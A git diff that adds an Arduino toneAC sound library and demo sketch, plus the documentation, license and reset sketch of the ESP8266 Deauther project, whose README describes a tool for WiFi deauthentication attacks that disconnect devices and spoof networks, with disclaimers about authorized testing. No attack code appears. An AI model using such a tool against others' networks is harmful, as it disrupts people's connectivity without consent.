Igoe. +//int melody[] = { 262, 196, 196, 220, 196, 0, 247, 262 }; +//int noteDurations[] = { 4, 8, 8, 4, 4, 4, 4, 4 }; + +void setup() {} // Nothing to setup, just start playing! + +void loop() { + for (unsigned long freq = 125; freq <= 15000; freq += 10) { + toneAC(freq); // Play the frequency (125 Hz to 15 kHz sweep in 10 Hz steps). + delay(1); // Wait 1 ms so you can hear it. + } + toneAC(); // Turn off toneAC, can also use noToneAC(). +/* + delay(1000); // Wait a second. + + for (int thisNote = 0; thisNote < 8; thisNote++) { + int noteDuration = 1000/noteDurations[thisNote]; + toneAC(melody[thisNote], 10, noteDuration, true); // Play thisNote at full volume for noteDuration in the background. + delay(noteDuration * 4 / 3); // Wait while the tone plays in the background, plus another 33% delay between notes. + } +*/ + while(1); // Stop (so it doesn't repeat forever driving you crazy--you're welcome). +} diff --git a/Projects/sketch_jan27a/toneAC.h b/Projects/sketch_jan27a/toneAC.h new file mode 100644 index 0000000..f42c985 --- /dev/null +++ b/Projects/sketch_jan27a/toneAC.h @@ -0,0 +1,111 @@ +// --------------------------------------------------------------------------- +// toneAC Library - v1.2 - 01/27/2013 +// +// AUTHOR/LICENSE: +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// LINKS: +// Project home: http://code.google.com/p/arduino-tone-ac/ +// Blog: http://arduino.cc/forum/index.php/topic,142097.msg1066968.html +// +// DISCLAIMER: +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// PURPOSE: +// Replacement to the standard tone library with the advantage of nearly twice +// the volume, higher frequencies (even if running at a lower clock speed), +// higher quality (less clicking), nearly 1.5k smaller compiled code and less +// stress on the speaker. Disadvantages are that it must use certain pins and +// it uses two pins instead of one. But, if you're flexible with your pin +// choices, this is a great upgrade. It also uses timer 1 instead of timer 2, +// which may free up a conflict you have with the tone library. It exclusively +// uses port registers for the fastest and smallest code possible. +// +// USAGE: +// Connection is very similar to a piezo or standard speaker. Except, instead +// of connecting one speaker wire to ground you connect both speaker wires to +// Arduino pins. The pins you connect to are specific, as toneAC lets the +// ATmega microcontroller do all the pin timing and switching. This is +// important due to the high switching speed possible with toneAC and to make +// sure the pins are alyways perfectly out of phase with each other +// (push/pull). See the below CONNECTION section for which pins to use for +// different Arduinos. Just as usual when connecting a speaker, make sure you +// add an inline 100 ohm resistor between one of the pins and the speaker wire. +// +// CONNECTION: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// +// SYNTAX: +// toneAC( frequency [, volume [, length [, background ]]] ) - Play a note. +// Parameters: +// * frequency - Play the specified frequency indefinitely, turn off with toneAC(). +// * volume - [optional] Set a volume level. (default: 10, range: 0 to 10 [0 = off]) +// * length - [optional] Set the length to play in milliseconds. (default: 0 [forever], range: 0 to 2^32-1) +// * background - [optional] Play note in background or pause till finished? (default: false, values: true/false) +// toneAC() - Stop playing. +// noToneAC() - Same as toneAC(). +// +// HISTORY: +// 01/27/2013 v1.2 - Fixed a counter error which went "over the top" and caused +// periods of silence (thanks Krodal). For advanced users needing tight code, +// the TONEAC_TINY switch in toneAC.h activates a version of toneAC() that +// saves 110 bytes. With TONEAC_TINY, the syntax is toneAC(frequency, length) +// while playing the note at full volume forever in the background. Added +// support for the ATmega 640, 644, 1281, 1284P and 2561 microcontrollers. +// +// 01/16/2013 v1.1 - Option to play notes in background, returning control back +// to your sketch for processing while note plays (similar to the way the tone +// library works). Volume is now linear and in the range from 0-10. Now uses +// prescaler 256 instead of 64 for frequencies below 122 Hz so it can go down +// to 1 Hz no matter what speed the CPU is clocked at (helpful if using toneAC +// to control a two-pin dual LED). +// +// 01/11/2013 v1.0 - Initial release. +// +// --------------------------------------------------------------------------- + +#ifndef toneAC_h + #define toneAC_h + + #if defined(ARDUINO) && ARDUINO >= 100 + #include + #else + #include + #endif + + //#define TONEAC_TINY // Uncomment to use alternate function toneAC(frequency, length) that saves 110 bytes. + + #if defined (__AVR_ATmega32U4__) || defined(__AVR_ATmega640__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega2561__) + #define PWMT1AMASK DDB5 + #define PWMT1BMASK DDB6 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #elif defined(__AVR_ATmega1284P__) || defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) + #define PWMT1AMASK DDD4 + #define PWMT1BMASK DDD5 + #define PWMT1DREG DDRD + #define PWMT1PORT PORTD + #else + #define PWMT1AMASK DDB1 + #define PWMT1BMASK DDB2 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #endif + + #if defined(__AVR_ATmega8__) || defined(__AVR_ATmega128__) + #define TIMSK1 TIMSK + #endif + + #ifndef TONEAC_TINY + void toneAC(unsigned long frequency = 0, uint8_t volume = 10, unsigned long length = 0, uint8_t background = false); + #else + void toneAC(unsigned long frequency = 0, unsigned long length = 0); + #endif + void noToneAC(); +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/CODE_OF_CONDUCT.md b/enp8266/esp8266_deauther-master/CODE_OF_CONDUCT.md new file mode 100755 index 0000000..0d07494 --- /dev/null +++ b/enp8266/esp8266_deauther-master/CODE_OF_CONDUCT.md @@ -0,0 +1,47 @@ +# Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, OS choice, favourite programming language (especially if it's JavaScript), nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* Calling this project a "Jammer" +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting such as promoting chicken foodism + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at mail@spacehuhn.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/enp8266/esp8266_deauther-master/CONTRIBUTING.md b/enp8266/esp8266_deauther-master/CONTRIBUTING.md new file mode 100755 index 0000000..d51cf32 --- /dev/null +++ b/enp8266/esp8266_deauther-master/CONTRIBUTING.md @@ -0,0 +1,95 @@ +# Request for contributions + +Please contribute to this repository if any of the following is true: +- You have expertise in Arduino/ESP8266 development, WiFi, or C/C++ +- You want to help lower the burden to first time contributors +- You want this open source community to be more collaborative and inclusive + +# How to contribute + +Prerequisites: + +- Familiarity with [pull requests](https://help.github.com/articles/using-pull-requests) and [issues](https://guides.github.com/features/issues/). +- Knowledge of [Markdown](https://help.github.com/articles/markdown-basics/) for editing `.md` documents. +- Knowledge of [WiFi Deauth](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) for understanding the project. + +In particular, this community seeks the following types of contributions: + +- **Ideas**: participate in an issue thread or start your own to have your voice +heard. +- **Resources**: submit a pull request to add to RESOURCES.md with links to related content. +- **Outline sections**: help us ensure that this repository is comprehensive. if +there is a topic that is overlooked, please add it, even if it is just a stub +in the form of a header and single sentence. Initially, most things fall into +this category. +- **Writing**: contribute your expertise in an area by helping us expand the included +content. +- **Copy editing**: fix typos, clarify language, and generally improve the quality +of the content. +- **Formatting**: help keep content easy to read with consistent formatting. + +
+## Bug reports + +A bug is a _demonstrable problem_ that is caused by the code in the repository. +Good bug reports are extremely helpful - thank you! + +Guidelines for bug reports: + +1. **Use the GitHub issue search** — check if the issue has already been + reported. + +2. **Check if the issue has been fixed** — try to reproduce it using the + latest `master` or development branch in the repository. + +3. **Isolate the problem**. + +A good bug report shouldn't leave others needing to chase you up for more +information. Please try to be as detailed as possible in your report. What is +your environment? What steps will reproduce the issue? What browser(s) and OS +experience the problem? What would you expect to be the outcome? All these +details will help people to fix any potential bugs. + +Example: + +> Short and descriptive example bug report title +> +> A summary of the issue and the browser/OS environment in which it occurs. If +> suitable, include the steps required to reproduce the bug. +> +> 1. This is the first step +> 2. This is the second step +> 3. Further steps, etc. +> +> `` - a link to the serial output on pastebin +> `` - a photo of your build with apparent wiring +> +> Any other information you want to share that is relevant to the issue being +> reported. This might include the lines of code that you have identified as +> causing the bug, and potential solutions (and your opinions on their +> merits). + + + +## Feature requests + +Feature requests are welcome. But take a moment to find out whether your idea +fits with the scope and aims of the project. It's up to *you* to make a strong +case to convince the project's developers of the merits of this feature. Please +provide as much detail and context as possible. + + + +## Pull requests + +Good pull requests - patches, improvements, new features - are a fantastic +help. They should remain focused in scope and avoid containing unrelated +commits. + +**Please ask first** before embarking on any significant pull request (e.g. +implementing features, refactoring code, porting to a different language), +otherwise you risk spending a lot of time working on something that the +project's developers might not want to merge into the project. + +Please adhere to the coding conventions used throughout a project (indentation, +accurate comments, etc.) and any other requirements (such as test coverage). diff --git a/enp8266/esp8266_deauther-master/ISSUE_TEMPLATE.md b/enp8266/esp8266_deauther-master/ISSUE_TEMPLATE.md new file mode 100755 index 0000000..f44d49a --- /dev/null +++ b/enp8266/esp8266_deauther-master/ISSUE_TEMPLATE.md @@ -0,0 +1,13 @@ +> Please search for existing (open and closed) issues first to avoid duplicates. +Also have a look at the [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki). +Please put error messages and code ```inside these 3 quotes/grave accents``` +(Delete this text when you've read it) + + +
+ Compile log (...) + + + +
+


diff --git a/enp8266/esp8266_deauther-master/LICENSE b/enp8266/esp8266_deauther-master/LICENSE new file mode 100755 index 0000000..a47d336 --- /dev/null +++ b/enp8266/esp8266_deauther-master/LICENSE @@ -0,0 +1,23 @@ +Do not redistribute, advertise or sell this software as a "jammer"!!! + +MIT License + +Copyright (c) 2018 Stefan Kremser + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/enp8266/esp8266_deauther-master/README.md b/enp8266/esp8266_deauther-master/README.md new file mode 100755 index 0000000..38404fa --- /dev/null +++ b/enp8266/esp8266_deauther-master/README.md @@ -0,0 +1,106 @@ +# ESP8266 Deauther 2.0 + +

PICTURE logo

+ +

+🦠Twitter +| 📺 YouTube +| 🌠spacehuhn.de
+
+Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners!

+Click here for the installation tutorial.
+ Click here for the .bin files.

+Support the development of this project by purchasing one of the official deauther boards.
+Or become a patron on patreon.com/spacehuhn.
+Also available: Stickers
! +

+ +## What is New +[Here is a quick video about what is new](https://youtu.be/6oRmm3xfp6U) +Version 2.0: +- Completly rewritten code base for better performance and later enhancements +- Custom Deauther SDK for easy compiling using Arduino +- New serial command line interface to control and debug the program +- New display UI with a lot of new functions +- Improved web interface with multi-language support +- Improved scanning for access points and stations (+ continuous scanning mode) +- Save and select device names for both scanning and attacking +- Save up to 60 SSIDs and 25 devices in one list (you can create, load and save multiple lists) +- Added [PacketMonitor](https://github.com/spacehuhn/PacketMonitor) to display UI +- Deauth detection when scanning +- RGB LED support for a quick indication what the device is doing (attacking, scanning, ...) +- Better documentation on the new [wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) + +## About this project +This software allows you to easily perform a variety of actions to test 802.11 wireless networks by using an inexpensive ESP8266 WiFi SoC (System On A Chip). + +The main feature, the deauthentication attack, is used to disconnect devices from their WiFi network. +No one seems to care about this huge vulnerability in the official 802.11 WiFi standard, so I took action and enabled everyone who has less than 10 USD to spare to recreate this project. +I hope it raises more attention on the issue. In 2009 the WiFi Alliance actually fixed the problem (see [802.11w](https://en.wikipedia.org/wiki/IEEE_802.11w-2009)), but only a few companies implemented it into their devices and software. +To effectively prevent a deauthentication attack, both client and access point must support the 802.11w standard with protected management frames (PMF). +While most client devices seem to support it when the access point forces it, basically no WiFi access point has it enabled. + +Feel free to test your hardware out, annoy these companies with the problem, share this project and push for a fix! +This project is also a great way to learn more about WiFi, micro controllers, Arduino, hacking and electronics/programming in general. +**But please use this tool responsibly and do not use it against others without their permission!** + +The difference between deauthing and jamming: [click me](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ#difference-between-jammer-and-deauther) + +## Official Deauther Boards + +![PICTURE DSTIKE Deauther OLED Board](https://raw.githubusercontent.com/wiki/spacehuhn/esp8266_deauther/img/DSTIKE_Deauther_Board.jpg) + +If you want to support the development of this project, you can buy one of the official boards by DSTIKE (Travis Lin) on following sites: +- [Tindie](https://tindie.com/stores/lspoplove) +- [AliExpress](https://dstike.aliexpress.com/store/2996024) +- [Taobao](https://shop135375846.taobao.com) + +Those boards are optimized for this project, ready to use and come preflashed with the Deauther software! +For more details visit the [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) under [Supported Devices](https://github.com/spacehuhn/esp8266_deauther/wiki/Supported-Devices). + +## Disclaimer +This project is a proof of concept for testing and educational purposes. +Neither the ESP8266, nor its SDK was meant or built for such purposes. Bugs can occur! + +Use it only against your own networks and devices! +Please check the legal regulations in your country before using it. +I don't take any responsibility for what you do with this program. + +It is **not a frequency jammer** as claimed falsely by many people. Its attack, its method and how to protect against it is described above. It uses valid Wi-Fi frames described in the IEEE 802.11 standard and doesn't block or disrupt any frequencies. + +This project is meant to draw more attention on this issue. +The [deauthentication](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed. +A solution is already there, why don't we use it? + +**Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!** +If you do, it only proves that you didn't understand anything of what this project stands for. Publishing content about this without a proper explanation shows that you only do it for the clicks, fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard! + +## Getting Started + +Visit our new [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) on how to recreate this project and use it. +Happy Hacking! + +## Credits +A huge thanks to: +- [@deantonious](http://github.com/deantonious) +- [@jLynx](https://github.com/jLynx) +- [@lspoplove](https://github.com/lspoplove) +- [@schinfo](https://github.com/schinfo) +- [@tobozo](https://github.com/tobozo) +- [@xdavidhu](https://github.com/xdavidhu) +- [@PwnKitteh](https://github.com/PwnKitteh) + +for helping out with various things regarding this project and keeping it alive! + +I also want to thank Espressif and their community for this awesome chip and all the software and hardware projects around it and the countless tutorials you can find online! + +Shoutout to everyone working on the libraries used for this project: +- [esp8266-oled-ssd1306](https://github.com/ThingPulse/esp8266-oled-ssd1306) +- [ArduinoJson](https://github.com/bblanchon/ArduinoJson) +- [LinkedList](https://github.com/ivanseidel/LinkedList) + +Also thanks to everyone that supports this project by [donating](http://spacehuhn.de/donate), being my [patron](http://patreon.com/spacehuhn) or buying one of the [official Deauther boards](https://www.tindie.com/stores/lspoplove) from DSTIKE. + +## License + +This software is licensed under the MIT License. See the [license file](LICENSE) for details. diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/README.md b/enp8266/esp8266_deauther-master/Reset_Sketch/README.md new file mode 100755 index 0000000..1ebc191 --- /dev/null +++ b/enp8266/esp8266_deauther-master/Reset_Sketch/README.md @@ -0,0 +1,14 @@ +# RESET + +## Method 1 + +Open the Reset_Sketch.ino and upload with the correct settings. + +## Method 2 + +Flash one of the `reset_` files. + +## Method 3 + +Flash the `blank_1MB.bin` to 0x000000 for 1MB modules. +Flash it to 0x000000, 0x100000, 0x200000 and 0x300000 for 4MB modules. \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/Reset_Sketch.ino b/enp8266/esp8266_deauther-master/Reset_Sketch/Reset_Sketch.ino new file mode 100755 index 0000000..157eee1 --- /dev/null +++ b/enp8266/esp8266_deauther-master/Reset_Sketch/Reset_Sketch.ino @@ -0,0 +1,47 @@ +#include +#include + +/* + Upload this sketch to your ESP8266 to erase + - all files in the SPIFFS, + - all data in the EEPROM + - WiFi credentials (SSID, password) + + Also overwrites the previous program with this one (obviously). +*/ + +void setup() { + Serial.begin(115200); + + Serial.println(); + Serial.println("STARTING..."); + + EEPROM.begin(4096); + Serial.println("EEPROM initialized"); + + for (int i = 0; i < 4096; ++i){ + EEPROM.write(i,0x00); + } + + Serial.println("EEPROM cleaned"); + + SPIFFS.begin(); + Serial.println("SPIFFS initialized"); + + SPIFFS.format(); + Serial.println("SPIFFS cleaned"); + + ESP.eraseConfig(); + + Serial.println("WiFi credentials erased"); + + Serial.println("DONE!"); + + delay(10000); + + ESP.reset(); +} + +void loop() { + +} diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/blank_1MB.bin b/enp8266/esp8266_deauther-master/Reset_Sketch/blank_1MB.bin new file mode 100755 index 0000000..ffcff5e --- /dev/null +++ b/enp8266/esp8266_deauther-master/Reset_Sketch/blank_1MB.bin @@ -0,0 +1 @@ +ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ